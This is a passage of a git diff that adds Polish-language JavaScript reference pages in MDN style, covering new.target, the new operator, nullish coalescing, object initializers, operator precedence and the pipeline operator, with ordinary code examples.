W konstruktorach klasy, new.target nawiązuje do konstruktora który został bezpośrednio wywołany z new. Dzieje się tak również w przypadku kiedy konstruktor znajduje się w klasie rodzica, i został wywołany z konstruktorze dziecka.

+ +
class A {
+  constructor() {
+    console.log(new.target.name);
+  }
+}
+
+class B extends A { constructor() { super(); } }
+
+var a = new A(); // logs "A"
+var b = new B(); // logs "B"
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES6', '#sec-built-in-function-objects', 'Built-in Function Objects')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(46.0)}}{{CompatGeckoDesktop(41)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(46.0)}}{{CompatGeckoMobile(41)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(46.0)}}
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/operators/new/index.html b/files/pl/web/javascript/reference/operators/new/index.html new file mode 100644 index 0000000000..e6153d3a69 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/new/index.html @@ -0,0 +1,183 @@ +--- +title: Operator new +slug: Web/JavaScript/Referencje/Operatory/Operator_new +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/new +--- +
{{jsSidebar("Operators")}}
+ +

Operator new tworzy nową instancję typu obiektu zdenifiowanego przez użytkownika lub instancję wbudowanego typu obiektu, który posiada konstruktor.

+ +
{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}
+ + + +

Składnia

+ +
new constructor[([arguments])]
+ +

Parametry

+ +
+
constructor
+
Klasa bądź funkcja, która definiuje typ obiektu instancji.
+
+ +
+
arguments
+
Lista wartości z którymi zostanie wywołany constructor.
+
+ +

Opis

+ +

Tworzenie obiektu przez zdefiniowanego przez użytkownika przebiega w dwóch krokach:

+ +
    +
  1. Zdefiniowanie typu obiektu poprzez napisanie funkcji.
  2. +
  3. Tworzenie jego instancji przy użyciu słowa kluczowego new.
  4. +
+ +

Aby zdefiniować typ obiektu, stwórz funkcję dla tego typu, która określa jego nazwę i właściwości. Obiekt może mieć właściwość, której wartością jest on sam lub inny obiekt. Spójrz na przykłady poniżej

+ +

Kiedy wykonywaniy jest kod new Foo(...), dzieją się następujące rzeczy:

+ +
    +
  1. Tworzeny jest nowy obiekt, dzidziczący po Foo.prototype.
  2. +
  3. Wywoływany jest konstruktor Foo z określonymi argumentami, a kontekst this zostaje przypisany do nowo utworzonego obiektu. new Foo jest równoznaczne z new Foo(), tzn. w przypadku gdy lista argumentów jst nieokreślona, Foo jest wywoływane bez argumentów.
  4. +
  5. Obiekt zwrócony przez konstruktor staje się wynikiem całego wyrażenia new. Jeżeli konstruktor nie zwraca obiektu, obiekt stworzony w kroku 1 jest używany zamiast niego. (Zwykle kontruktory nie zwracają żadnej wartości, ale mogą tak czynić jeśli chcą nadpiać normalny proces tworzenia obiektu.)
  6. +
+ +

Zawsze można dodać właściwość do wcześniej stworzonego obiektu. Na przykład, wyrażenie car1.color = "black" dodaje właściwość color do car1, przypisuje mu wartość "black". Jednakże, nie wpływa to w żaden sposób na inne obiekty. Aby dodać właściwość do wszystkich obiektów tego samego typu, trzeba dodać tę właściwość do definicji typu obiektu Car.

+ +

Można dodać wspólną właściwość do wcześniej zdefiniowanego typu obiektu korzystając z właściwości Function.prototype. Definiuje ona wspólną właściwość dla wszystkich obiektów tego typu, a nie charakterystyczną dla instancji typu obiektu. Następujący kod dodaje właściwość color o wartości null do wszystkich obiektów typu Car, a następnie znienia tę wartość tylko w obiekcie car1 na łańcuch "black" . Po więcej informacji, zobacz prototype.

+ +
function Car() {}
+car1 = new Car();
+
+console.log(car1.color);    // undefined
+
+Car.prototype.color = null;
+console.log(car1.color);    // null
+
+car1.color = 'black';
+console.log(car1.color);   // black
+
+ +

Przykłady

+ +

Typ obiektu i jego instancja

+ +

Przypuśćmy, że chcesz stworzyś typ obiektu dla aut. Chcesz, żeby był nazwany car i by miał właściwości makemodel i year. Żeby to osiągnąć należy stworzyć następującą funkcję:

+ +
function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+
+ +

Teraz można stworzyć obiekt mycar:

+ +
var mycar = new Car('Eagle', 'Talon TSi', 1993);
+
+ +

Powyższy kod deklaruje zmienną mycar i przypisuje do niej określone właściwości. Wartość mycar.make to łańcuch "Eagle", mycar.year to liczba 1993 itd.

+ +

Można stworzyć nieograniczoną ilość obiektów Car poprzez słowo kluczowe new. Na przykład:

+ +
var kenscar = new Car('Nissan', '300ZX', 1992);
+
+ +

Właściwość obiektu, będąca innym obiektem

+ +

Przypuśćmy, że definiujemy typ obiektu Person jak poniżej:

+ +
function Person(name, age, sex) {
+  this.name = name;
+  this.age = age;
+  this.sex = sex;
+}
+
+ +

A następnie tworzymy dwa obiekty Person:

+ +
var rand = new Person('Rand McNally', 33, 'M');
+var ken = new Person('Ken Jones', 39, 'M');
+
+ +

Teraz możemy przepisać definicję Car tak, by zawierała właściwość owner, która przyjmuje obiekt:

+ +
function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+}
+
+ +

Aby utworzyć nowe obiekty, należy napisać:

+ +
var car1 = new Car('Eagle', 'Talon TSi', 1993, rand);
+var car2 = new Car('Nissan', '300ZX', 1992, ken);
+
+ +

Zamiast przekazywania wartości liczbowych lub łańcuchów znaków, w powyższym przykładzie przekazywane są obiekty: rand oraz ken. Aby uzyskać imię właściciela samochodu car2, należy napisać:

+ +
car2.owner.name
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecifikacjaStatusKomentarz
{{SpecName('ESDraft', '#sec-new-operator', 'The new Operator')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-new-operator', 'The new Operator')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.2.2', 'The new Operator')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.2.2', 'The new Operator')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-11.2.2', 'The new Operator')}}{{Spec2('ES1')}}Wstępna definicja. Zaimpelementowano w JavaScript 1.0.
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.operators.new")}}

+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/pl/web/javascript/reference/operators/nullish_coalescing_operator/index.html new file mode 100644 index 0000000000..c8a264e50e --- /dev/null +++ b/files/pl/web/javascript/reference/operators/nullish_coalescing_operator/index.html @@ -0,0 +1,251 @@ +--- +title: Operator null'owego scalania (??) +slug: Web/JavaScript/Referencje/Operatory/Nullish_coalescing_operator +tags: + - JavaScript + - Language feature + - Operator + - Reference + - nullish coalescing +translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator +--- +

{{JSSidebar("Operators")}}

+ +

Operator null'owego scalania (??) - to operator logiczny, stosowany w wyrażeniach, który zwraca to co jest po jego lewej stronie, tak długo, jak to nie jest null, albo undefined, wtedy zwraca to, co jest po prawej.

+ +
+

Początkowo ewaluowane jest tylko wyrażenie z lewej strony.
+ Dopiero, gdy zachodzi taka potrzeba, ewaluowane jest prawe wyrażenie.

+
+ +

Jest podobny do logicznego operatora LUB (||)Logical OR (||) ), ale LUB decyduje o tym, czy wziąć prawą wartość, na innej podstawie:
+ Czy lewa wartość jest fałszopodobna (Falsy)?
+ null i undefined są fałszopodobne, ale sęk w tym, że nie tylko one, ale również np. 0, czy "". Czasem nie chce się podmieniać niczego za 0 i "", uważając je za dopuszczalne wartości.
+ Wtedy właśnie przydaje się ten operator.

+ +
{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}
+ + + +

Składnia

+ +
LWyr ?? PWyr
+ + + + + + + + + + + + + + + + + + +
PoleOpis
LWyrWyrażenie główne, ewaluowane na początku.
+ Jeżeli jego wartość wynikowa jest null, albo undefined, to nie ona zostanie zwrócona, ale wartość wynikowa wyrażenia PWyr
PWyrWyrażenie zamienne, ewaluowane, kiedy wartość LWyr jest null, albo undefined.
+ +

Przykłady

+ +

Użycie operatora

+ +

W tym przykładzie użyjemy operatora null'owego scalania do podania zapasowych wartości, przy inicjowaniu stałych:

+ +
const wartoscNull = null;
+const warA = wartoscNull ?? "domyślne dla A";
+console.log(warA);
+
+// konsola: "domyślne dla A"
+
+
+
+const pustyTekst = "";   // fałszopodobny
+const warB = pustyTekst ?? "domyślne dla B";
+console.log(warB);
+
+// konsola: ""
+// ponieważ "??" reaguje tylko konkretnie na null albo undefined
+
+
+
+const jakasLiczba = 42;
+const warC = jakasLiczba ?? 0;
+console.log(warC);
+
+// konsola: 42
+ +

Porównanie działania "??" i "||"

+ +

Wcześniej przed pojawieniem się tego operatora, używano LUB (||) (Logical OR (||)):

+ +
let liczba;
+let zabezpLicz = liczba || 1;
+// zmienna "wejscie" nie była nigdy zapełniona żadną wartością,
+// więc była "undefined", a undefined jest fałszopodobne, więc
+// JavaScript wziął zapasowe '1'.
+
+console.log(2 * zabezpLicz);
+// konsola: 2
+
+ +

To działa, ale...
+ przez to jakim operatorem jest LUB, nie tylko undefined zostanie tu zamienione, ale też i 0, które, w kontekście tego przykładu, powiedzmy, że jest wartością, która powinna być ok:

+ +
let liczba = 0;
+let zabezpLicz = liczba || 1;
+// zmienna "wejscie" została zapełniona zerem, ale jest fałszopodobne,
+//więc JavaScript wziął zapasowe '1'.
+
+console.log(2 * zabezpLicz);
+// konsola: 2
+// chcieliśmy: 0
+
+ +

Operator null'owego scalania rozwiązuje ten problem:

+ +
let liczba = 0;
+let zabezpLicz = liczba ?? 1;
+// zmienna "wejscie" została zapełniona zerem,
+//mimo tego, że jest fałszopodobne, "??" akceptuje je, bo to nie null, ani undefined, i
+//JavaScript zostawia '0'.
+
+console.log(2 * zabezpLicz);
+// konsola: 0
+
+ +

Pomijanie ewaluacji

+ +

Podobnie jak inne operatory logiczne LUB (Logical OR (||)) i I (Logical AND (&&)), ten operator rozpoczyna od ewaluacji wyrażenia po lewej stronie, i dopiero gdy trzeba, zajmuje się prawą stroną:

+ +
function A(){
+  console.log("Tu A!");
+  return false;
+}
+function B(){
+  console.log("Tu B!");
+  return true;
+}
+
+if( A() ?? B() ) console.log("Otrzymano 'true'");
+else console.log("Otrzymano 'false'");
+// konsola: "Otrzymano 'false'"
+
+ +

i :

+ +
function A(){
+  console.log("Tu A!");
+  return null; // teraz tu jest zwracany null, na który reaguje "??"
+}
+function B(){
+  console.log("Tu B!");
+  return true;
+}
+
+if( A() ?? B() ) console.log("Otrzymano 'true'");
+else console.log("Otrzymano 'false'");
+// konsola: "Otrzymano 'true'"
+ +

Nie działa seryjnie, ani z LUB, ani z I

+ +

W wyrażeniach, nie można stawiać zwyczajnie operatora null'owego scalania w otoczeniu operatorów LUB i I, mimo ustalonej kolejności wykonywania działań. Będzie to odbierane jako błąd składniowy:

+ +
null || undefined ?? "yyy..."; // to będzie SyntaxError
+true || undefined ?? "aha.";   // to też będzie SyntaxError
+//bo tu chodzi o to, że jest "||" i "??" razem, nie o wartości.
+
+ +

Trzeba je rozdzielić nawiasami:

+ +
(null || undefined) ?? "yyy...";  // zwraca: "yyy..."
+null || (undefined ?? "działa!"); // zwraca: "działa!"
+
+ +

Odniesienie do Operatora opcjonalnego dostępu "?."

+ +

Sposób w który operator null'owego scalania pracuje z wartościami null i undefined, jest intuicyjny analogicznie u operatora opcjonalnego dostępu (Optional chaining (?.), i razem pozwalają na ciekawe akcje, np.:

+ +
class objekt{
+  tekst;
+
+  constructor(tekst = null){
+    this.tekst = tekst;
+  }
+
+  odczytTekst(){
+    return this.tekst;
+  }
+  wpisTekst(w){
+    this.tekst = w;
+    return true;
+  }
+}
+
+let objekty = [new objekt("cześć!"), null, new objekt()];
+
+
+
+// zadanie kodu: zamień tekst'y w objekt'ach na duże litery,
+// używając funkcji dostępu, a pozostawiając puste wartości
+// bez zmian
+
+
+// wersja typeof
+for(let i = 0; i < objekty.length; i++)
+  if(typeof(objekty[i]) == "object")
+    if(typeof(objekty[i].odczytTekst()) == "string")
+      objekty[i].wpisTekst(objekty[i].odczytTekst().toUpperCase());
+
+
+// wersja operatorów "??" i "?."
+for(let i = 0; i < objekty.length; i++)
+  objekty[i]?.wpisTekst(objekty[i]?.odczytTekst()?.toUpperCase() ?? null);
+
+console.log(objekty);
+
+ +

Czasami użycie tych operatorów upraszcza kod.
+ Poza tym każda funkcja jest wywoływana najwyżej raz i może to być co kolwiek.

+ +

Specyfikacje

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#prod-Nulli', 'nullish coalescing expression')}}
+ +

Wsparcie przeglądarek

+ + + +

{{Compat("javascript.operators.nullish_coalescing")}}

+ +

Postępy implementacji

+ +

Tabelka pod spodem pokazuje codzienny status implementacji tej funkcji. Jest tak, ponieważ nie osiągnięto jeszcze stabilności między przeglądarkami.
+ Dane są generowane, poprzez przeprowadzanie odpowiednich testów funkcji w Test262, standardowym zestawie testów dla JavaScripta, na najnowszych kompilacjach (en: "nightly build"), lub najnowszych wydaniach (en: "latest release") silników JavaScripta przeglądarek.

+ +
{{EmbedTest262ReportResultsTable("coalesce-expression")}}
+ +

Zobacz też...

+ + diff --git a/files/pl/web/javascript/reference/operators/object_initializer/index.html b/files/pl/web/javascript/reference/operators/object_initializer/index.html new file mode 100644 index 0000000000..4148cc07d1 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/object_initializer/index.html @@ -0,0 +1,387 @@ +--- +title: Inicjalizator obiektu +slug: Web/JavaScript/Referencje/Operatory/Object_initializer +translation_of: Web/JavaScript/Reference/Operators/Object_initializer +--- +
{{JsSidebar("Operators")}}
+ +

Obiekty można tworzyć używając new Object(), Object.create(), bądź wykorzystując notację literałową (notację inicializacyjną). Inicjalizator obiektu to lista zera lub więcej par - nazw właściwości oraz ich wartości - otoczonych nawiasami klamrowymi ({}).

+ +

Składnia

+ +
var o = {};
+var o = { a: "foo", b: 42, c: {} };
+
+var a = "foo", b = 42, c = {};
+var o = { a: a, b: b, c: c };
+
+var o =
+{
+  wlasciwosc: function ([parametry]) {},
+  get wlasciwosc() {},
+  set wlasciwosc(wartosc) {},
+};
+
+ +

Nowe notacje w ECMAScript 2015

+ +

Pamiętaj aby zapoznać się z tabelą kompatybilności. Środowiska nie obsługujące tych notacji będą wyrzucać błędy składni.

+ +
// Skrótowe nazwy właściwości (ES6)
+var a = "foo", b = 42, c = {};
+var o = { a, b, c };
+
+// Skrótowe nazwy metod (ES6)
+var o = {
+  wlasciwosc([parametry]) {},
+  get wlasciwosc() {},
+  set wlasciwosc(wartosc) {},
+  * generator() {}
+};
+
+// Obliczone nazwy właściwości (ES6)
+var nazwa = "foo";
+var o = {
+  [nazwa]: "dzien",
+  ["b" + "ar"]: "dobry",
+};
+ +

Opis

+ +

Inicjalizator obiektu to wyrażenie opisujące inicjalizację obiektu {{jsxref("Object")}}. Obiekty składają się z właściwości używanych do opisywania obiektu. Wartości tych właściwości mogą zawierać {{Glossary("primitive")}} typy danych albo inne obiekty.

+ +

Tworzenie obiektów

+ +

Pusty obiekt możemy stworzyć w taki sposób:

+ +
var obiekt = {};
+ +

Jednak prawdziwą przewagą notacji literałowej jest możliwość tworzenia w szybki sposób obiektów ze zdefiniowanymi od razu właściwościami. Wystarczy wypisać listę kluczy: wartości odzdzielonych dwukropkiem. Poniższy przykład tworzy obiekt osoba z trzema właściwościami: "imie", "wiek" i "wyglad". Ich wartościami jest string "Adam", numer 42 oraz inny obiekt.

+ +
var osoba =
+{
+  imie: "Adam",
+  wiek: 42,
+  wyglad: { wzrost: 179 },
+}
+ +

Dostęp do właściwości

+ +

Kiedy już stworzyłeś obiekt, możesz chcieć zobaczyć lub zmienić jego właściwości. Można zrobić to używając zapisu z kropką lub nawiasami. Zajrzyj do operatorów pamięci po więcej informacji.

+ +
object.imie; // "Adam"
+object["wiek"]; // 42
+
+object.imie = "Ewa";
+
+ +

Definiowanie właściwości

+ +

Nauczyliśmy się już jak zapisywać właściwości używając notacji literałowej. Czasami jednak mamy w kodzie zmienne, które chcielibyśmy dodać do naszego obiektu. Możemy to zrobić w taki sposób:

+ +
var a = "foo",
+    b = 42,
+    c = {};
+
+var o =
+{
+  a: a,
+  b: b,
+  c: c
+};
+ +

Ale ECMAScript 2015 oddaje nam do dyspozycji krótszy zapis, pozwalający uzyskać ten sam efekt:

+ +
var a = "foo",
+    b = 42,
+    c = {};
+
+// Skrótowe nazwy właściwości (ES6)
+var o = { a, b, c };
+ +

Duplikowanie nazw właściwości

+ +

W momencie, gdy użyjemy już istniejącej nazwy właściwości jej wartość nadpisze tę poprzednią.

+ +
var a = {x: 1, x: 2};
+console.log(a); // { x: 2}
+
+ +

W ECMAScript 5 strict mode, duplikowanie nazw właściwości było postrzegane jako {{jsxref("SyntaxError")}}. Zmieniono to jednak po wprowadzeniu obliczanych nazw właściwości. Duplikacja stała się wówczas możliwa podczas wykonywania kodu, dlatego też w ECMAScript 2015 usunięto tę rystrykcję.

+ +
function czyES6UmozliwiaDuplikowanieWlasciwosci()
+{
+  "use strict";
+  try
+  {
+    ({ prop: 1, prop: 2 });
+
+    // Nie wyrzucono błędu, duplikacja dozwolona w strict mode.
+    return true;
+  }
+  catch (e)
+  {
+    // Wyrzucono błąd, duplikacja w strict mode zabroniona.
+    return false;
+  }
+}
+ +

Definicje metod

+ +

Właściwość obiektu może również odnosić się do funkcji albo metody getter lub setter.

+ +
var o = {
+  wlasciwos: function ([parametry]) {},
+  get wlasciwos() {},
+  set wlasciwos(wartosc) {},
+};
+ +

w ECMAScript 2015, mamy dostęp do skróconego zapisu, takiego w którym słowo kluczowe "function" nie jest nam już potrzebne.

+ +
// Shorthand method names (ES6)
+var o = {
+  property([parameters]) {},
+  get property() {},
+  set property(value) {},
+  * generator() {}
+};
+ +

W ECMAScript 2015 możemy również w prostszy sposób zapisać właściwość będącą funkcją generatora:

+ +
var o = {
+  * generator() {
+    ...........
+  }
+};
+ +

W ECMAScript 5 musielibyśmy zapisać to tak (aczkolwiek pamiętaj że w ES5 nie ma generatorów):

+ +
var o = {
+  generator: function *() {
+    ...........
+  }
+};
+ +

Po więcej informacji zajrzyj do definicji metod.

+ +

Obliczone nazwy właściwości

+ +

Od ECMAScript 2015, składnia inicjalizatora obiektu wspiera także obliczone nazwy właściwości. Umożliwia to umieszczenie wyrażenia w nawiasach [], które potem zostanie przeliczone na nazwę właściwości. Działa to na tej samej zasadzie co zapis klamrowy w operatorach pamięci, z którymi zapewne miałeś już styczność. Teraz możemy użwać tej samej składni w notacji literałowej:

+ +
// Obliczone nazwy właściwości (ES6)
+var i = 0;
+var a = {
+  ["foo" + ++i]: i,
+  ["foo" + ++i]: i,
+  ["foo" + ++i]: i
+};
+
+console.log(a.foo1); // 1
+console.log(a.foo2); // 2
+console.log(a.foo3); // 3
+
+var param = 'typ';
+var info = {
+  [param]: 'strona',
+  ["pod" + param.charAt(0).toUpperCase() + param.slice(1)]: 'forum'
+};
+
+console.log(info); // { typ: 'strona', 'podTyp': 'forum' }
+ +

Zmiana prototypu

+ +

Definicja właściwości w formie __proto__: wartosc albo "__proto__": wartosc nie stworzy właściwości z nazwą __proto__. Zamiast tego, jeżeli podana wartość jest obiektem lub typem null, zamieni ona [[Prototype]] tworzonego obiektu na podaną wartość. (Jeżeli wartość nie jest ani obiektem ani typem null prototyp nie zostanie zmieniony.)

+ +
var obj1 = {};
+console.log(Object.getPrototypeOf(obj1) === Object.prototype); // true
+
+var obj2 = { __proto__: null };
+console.log(Object.getPrototypeOf(obj2) === null); // true
+
+var protoObj = {};
+var obj3 = { "__proto__": protoObj };
+console.log(Object.getPrototypeOf(obj3) === protoObj); // true
+
+var obj4 = { __proto__: "not an object or null" };
+console.log(Object.getPrototypeOf(obj4) === Object.prototype); // true
+console.log(!obj4.hasOwnProperty("__proto__")); // true
+
+ +

Podczas notacji literałowej możemy zmienić prototyp tylko raz, kolejne próby będą skutkować błędami składni.

+ +

Jeżeli użyjemy w defninicji nazwy __proto__ bez używania składni z dwukropkiem, nazwa ta będzie się zachowywać jak kazda inna.

+ +
var __proto__ = "wartosc";
+
+var obj1 = { __proto__ };
+console.log(Object.getPrototypeOf(obj1) === Object.prototype); // true
+console.log(obj1.hasOwnProperty("__proto__")); // true
+console.log(obj1.__proto__ === "wartosc"); // true
+
+var obj2 = { __proto__() { return "witaj"; } };
+console.log(obj2.__proto__() === "witaj"); // true
+
+var obj3 = { ["__prot" + "o__"]: 17 };
+console.log(obj3.__proto__ === 17); // true
+
+ +

Notacja literałowa vs JSON

+ +

Notacja literałowa to nie to samo co JavaScript Object Notation (JSON). Pomimo, że wyglądają podobnie, są miedzy nimi poważne różnice:

+ + + +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Początkowa definicja.
{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}{{Spec2('ES5.1')}}Dodano metody getter oraz setter.
{{SpecName('ES6', '#sec-object-initializer', 'Object Initializer')}}{{Spec2('ES6')}}Skrócone nazwy właściwości/metod oraz obliczone nazwy właściwości.
{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(1.0)}}{{CompatGeckoDesktop("1.0")}}111
Computed property names{{CompatVersionUnknown}}{{CompatGeckoDesktop("34")}}{{CompatNo}}{{CompatNo}}7.1
Shorthand property names{{CompatVersionUnknown}}{{CompatGeckoDesktop("33")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Shorthand method names{{CompatChrome(42.0)}}{{CompatGeckoDesktop("34")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}111{{CompatChrome(1.0)}}
Computed property names{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("34")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Shorthand property names{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("33")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Shorthand method names{{CompatNo}}{{CompatChrome(42.0)}}{{CompatGeckoMobile("34")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(42.0)}}
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/operators/operator_precedence/index.html b/files/pl/web/javascript/reference/operators/operator_precedence/index.html new file mode 100644 index 0000000000..87765f3e1a --- /dev/null +++ b/files/pl/web/javascript/reference/operators/operator_precedence/index.html @@ -0,0 +1,336 @@ +--- +title: Pierwszeństwo operatorów +slug: Web/JavaScript/Referencje/Operatory/Pierwszeństwo_operatorów +tags: + - JavaScript + - Operator + - pierwszeństwo +translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence +--- +
{{jsSidebar("Operators")}}
+ +
+ +
Pierwszeństwo operatorów ustala kolejność, w jakiej operatory są ewaluowane. Operatory z wyższym pierwszeństwem są ewaluowane jako pierwsze.
+ +
+ +

Prosty przykład:

+ +
3 + 4 * 5 // zwraca 23
+
+ +

Operator mnożenia ("*") ma wyższe pierwszeństwo niż operator dodawania ("+") i dlatego będzie ewaluowany jako pierwszy.

+ +

Łączność

+ +

Łączność określa kolejność, w jakiej przetwarzane są operatory o takim samym pierwszeństwie. Przykłądowo, rozważny wyrażenie:

+ +
a OP b OP c
+
+ +

Jeżeli  OP1 and OPmają różne poziomy pierwszeństwa operatorów (patrz tabela poniżej), operator z wyższym poziomem pierwszeństwa zostanie wykonany jako pierwszy, a kolejność zapisu nie ma znaczenia. Zwróćmy uwagę na w poniższym przykładzie, że mnożenie ma wyższy poziom pierwszeństwa i tym samym zostanie wykonane jako pierwsze, pomimo tego, że to dodawanie jest zapisane w kodzie jako pierwsze.

+ +
console.log(3 + 10 * 2);   // wynik 23
+console.log(3 + (10 * 2)); // wynik 23 ponieważ nawiasy tutaj nie mają znaczenia
+console.log((3 + 10) * 2); // wynik 26 ponieważ nawiasy zmieniają kolejność działań
+ +

Lewo-łączność (od lewej do prawej) oznacza, iż będzie ono przetworzone jako (a OP b) OP c, podczas gdy prawo-łączność (od prawej do lewej) oznacza, iż będzie ono zinterpretowane jako a OP (b OP c). Operatory przypisania są prawo-łączne, więc możesz napisać:

+ +
a = b = 5;
+
+ +

oczekując, że a i b otrzymają wartość 5. Wynika to z faktu, iż operator przypisania zwraca wartość, która jest przypisana. Najpierw wartość b ustawiana jest na 5, a następnie wartość zmiennej a jest ustawiana na wartość b.

+ +

Tabela

+ +

Poniższa tabela uporządkowana jest od najwyższego (19) do najniższego (0) pierwszeństwa.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PierwszeństwoRodzaj operatoraŁącznośćOperator
19Groupingn/a( … )
18Member Accessleft-to-right… . …
Computed Member Accessleft-to-right… [ … ]
new (z listą argumentów)n/anew … ( … )
17Wywołanie funkcjileft-to-right… ( … )
new (bez listy argumentów)right-to-leftnew …
16Postinkrementacjan/a… ++
Postdekrementacjan/a… --
15Negacja logiczna (NOT)right-to-left! …
Negacja bitowa (NOT)right-to-left~ …
Unary Plusright-to-left+ …
Unary Negationright-to-left- …
Preinkrementacjaright-to-left++ …
Predekrementacjaright-to-left-- …
typeofright-to-lefttypeof …
voidright-to-leftvoid …
deleteright-to-leftdelete …
14Mnożenieleft-to-right… * …
Dzielenieleft-to-right… / …
Reszta z dzielenialeft-to-right… % …
13Dodawanieleft-to-right… + …
Odejmowanieleft-to-right… - …
12Bitowe przesunięcie w lewoleft-to-right… << …
Bitowe przesunięcie w prawoleft-to-right… >> …
Bitowe przesunięcie w prawo bez znakuleft-to-right… >>> …
11Mniejsze niżleft-to-right… < …
Mniejsze lub równeleft-to-right… <= …
Większe niżleft-to-right… > …
Większe lub równeleft-to-right… >= …
inleft-to-right… in …
instanceofleft-to-right… instanceof …
10Równośćleft-to-right… == …
Nierównośćleft-to-right… != …
Ścisła równośćleft-to-right… === …
Ścisła nierównośćleft-to-right… !== …
9Koniunkcja bitowa (AND)left-to-right… & …
8Bitowa alternatywa wykluczająca (XOR)left-to-right… ^ …
7Alternatywa bitowa (OR)left-to-right… | …
6Koniunkcja logiczna (AND)left-to-right… && …
5Alternatywa logiczna (OR)left-to-right… || …
4Warunekright-to-left… ? … : …
3Przypisanieright-to-left… = …
… += …
… -= …
… *= …
… /= …
… %= …
… <<= …
… >>= …
… >>>= …
… &= …
… ^= …
… |= …
2yieldright-to-leftyield …
1Spreadn/a... …
0Comma / Sequenceleft-to-right… , …
diff --git a/files/pl/web/javascript/reference/operators/pipeline_operator/index.html b/files/pl/web/javascript/reference/operators/pipeline_operator/index.html new file mode 100644 index 0000000000..9bc36390af --- /dev/null +++ b/files/pl/web/javascript/reference/operators/pipeline_operator/index.html @@ -0,0 +1,65 @@ +--- +title: Operator potoku +slug: Web/JavaScript/Referencje/Operatory/Operator_potoku +tags: + - JavaScript + - Operator + - ekxperymentalny +translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator +--- +
{{jsSidebar("Operators")}} {{SeeCompatTable}}
+ +
Eskperymentalny operator potoku |> (obecnie na pierwszym etapie testów) pozwala na tworzenie łańcuchów wywołań funkcji w czytelny sposób. Dodaje lukier syntaktyczny do wywołania funkcji z pojedynczym argumentem, pozwalając przykładowo na pisanie '%21' |> decodeURI zamiast decodeURI('%21').
+ +

Składnia

+ +
wyrażenie |> funkcja
+ +

Przykłady

+ +

Łańcuchowe wywołania funkcji

+ +

Operator potoku może poprawić czytelność kodu przy łańcuchowych wywołaniach wielu funkcji.

+ +
const double = (n) => n * 2;
+const increment = (n) => n + 1;
+
+// bez operatora potoku
+double(increment(double(double(5)))); // 42
+
+// z użyciem potoku
+5 |> double |> double |> increment |> double; // 42
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + +
SpecyfikacjaStatusUwagi
